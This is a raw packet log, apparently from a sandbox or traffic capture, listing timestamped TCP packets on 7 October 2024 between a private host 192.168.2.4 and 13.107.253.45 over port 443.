Oct 7, 2024 18:01:40.736891031 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.737066031 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.737076998 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.744303942 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.745135069 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.745172977 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.745716095 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.745729923 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.774291039 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.774749994 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.777153969 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.777198076 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.777211905 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.777223110 CEST	60423	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.777228117 CEST	443	60423	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.781075954 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.781110048 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.784897089 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.784897089 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.784929037 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.839978933 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.840250969 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.840394974 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.840666056 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.840688944 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.840703964 CEST	60426	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.840712070 CEST	443	60426	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.844662905 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.844686031 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.845689058 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.845689058 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.845715046 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.855906010 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.856884003 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.856930017 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.856981039 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.857038975 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.857227087 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.857237101 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.857249975 CEST	60425	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.857254028 CEST	443	60425	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.870117903 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.870158911 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:40.870223999 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.870557070 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:40.870573044 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.162456036 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.163424015 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.163448095 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.163657904 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.163665056 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.394306898 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.395404100 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.395421028 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.396228075 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.396234035 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.407735109 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.409652948 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.409652948 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.409668922 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.409687996 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.447505951 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.447602034 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.447755098 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.448120117 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.448143005 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.448162079 CEST	60427	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.448169947 CEST	443	60427	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.451271057 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.451375961 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.451582909 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.451987028 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.452027082 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.482330084 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.483103991 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.483118057 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.483589888 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.483594894 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.497469902 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.498332024 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.498390913 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.498729944 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.498740911 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.526552916 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.528345108 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.528459072 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.528733969 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.528733969 CEST	60429	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.528755903 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.528768063 CEST	443	60429	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.529784918 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.529865980 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.529928923 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.529946089 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.529984951 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.530035019 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.530467987 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.530488968 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.530502081 CEST	60428	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.530509949 CEST	443	60428	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.533533096 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.533565998 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.533632994 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.534125090 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.534137964 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.535157919 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.535165071 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.535232067 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.535387993 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.535394907 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.587259054 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.587330103 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.587400913 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.587424994 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.587476015 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.587613106 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.596472979 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.596482038 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.596509933 CEST	60430	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.596515894 CEST	443	60430	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.603856087 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.603907108 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.603970051 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.670101881 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.670146942 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.670166016 CEST	60431	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.670175076 CEST	443	60431	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.673563004 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.673620939 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.673698902 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.673911095 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.673932076 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.675108910 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.675153017 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:41.675216913 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.675399065 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:41.675430059 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.089124918 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.109962940 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.109996080 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.110414982 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.110421896 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.166872978 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.171202898 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.211472988 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.215418100 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.217072964 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.217861891 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.217926979 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.308078051 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.311064959 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.330941916 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.330971003 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.331770897 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.331779957 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.332417965 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.332448006 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.333045959 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.333053112 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.333446026 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.333470106 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.333925009 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.333930969 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.334511995 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.334517956 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.335351944 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.335356951 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.335665941 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.335690975 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.335704088 CEST	60432	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.335711956 CEST	443	60432	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.340966940 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.341012001 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.341068029 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.341185093 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.341192961 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431000948 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431041002 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431287050 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431348085 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.431380033 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431449890 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431493998 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.431639910 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.431663990 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.431677103 CEST	60436	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.431684017 CEST	443	60436	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.432018042 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.432070017 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.432637930 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.432667017 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.432679892 CEST	60435	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.432687998 CEST	443	60435	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.434603930 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.434645891 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.434691906 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.434727907 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.434727907 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.434779882 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.434870958 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.434881926 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.434942007 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.434961081 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.440306902 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.440918922 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.440979004 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.441013098 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.441034079 CEST	60434	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.441035032 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.441040039 CEST	443	60434	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.443361998 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.443408966 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.443525076 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.443600893 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.443617105 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.972743988 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.973470926 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.973495007 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:42.974483013 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:42.974512100 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.069888115 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.070362091 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.070388079 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.070780039 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.070784092 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.073728085 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.074548006 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.074548006 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.074568987 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.074578047 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.079273939 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.079561949 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.079576969 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.079919100 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.079922915 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.080560923 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.080708981 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.080769062 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.080801010 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.080816031 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.080831051 CEST	60437	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.080837011 CEST	443	60437	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.083076000 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.083117008 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.083189964 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.083302975 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.083323002 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226197004 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226198912 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226223946 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226272106 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226340055 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226377964 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226411104 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226464987 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226583958 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226603031 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226617098 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226627111 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226634979 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226636887 CEST	60439	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226644039 CEST	443	60439	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226655960 CEST	60438	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.226661921 CEST	443	60438	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226743937 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.226795912 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.227442026 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.227454901 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.227466106 CEST	60440	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.227472067 CEST	443	60440	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.229885101 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.229931116 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.229989052 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230379105 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230397940 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.230573893 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230604887 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.230729103 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230751038 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230751038 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230772018 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.230829954 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.230892897 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230963945 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.230983019 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.339838028 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.339879990 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.339931965 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.339951992 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.339993954 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.340039968 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.340218067 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.340229988 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.340240002 CEST	60433	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.340245008 CEST	443	60433	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.343035936 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.343099117 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.343158960 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.343318939 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.343336105 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.895617008 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.896213055 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.896259069 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.896684885 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.896698952 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.908524990 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.909034967 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.909132957 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.909301043 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.909424067 CEST	60444	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.909430981 CEST	443	60444	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.909555912 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.909593105 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.909888029 CEST	60442	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.909899950 CEST	443	60442	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.938271999 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.938790083 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.938812971 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:43.939243078 CEST	60443	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:43.939248085 CEST	443	60443	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.002444029 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.002950907 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.002989054 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.003350973 CEST	60445	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.003362894 CEST	443	60445	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.006155968 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.006525040 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.006582975 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.006606102 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.006659031 CEST	443	60441	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:44.006705999 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.006737947 CEST	60441	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:44.006759882 CEST	443	60441	13.107.253.45	192.168.2.4
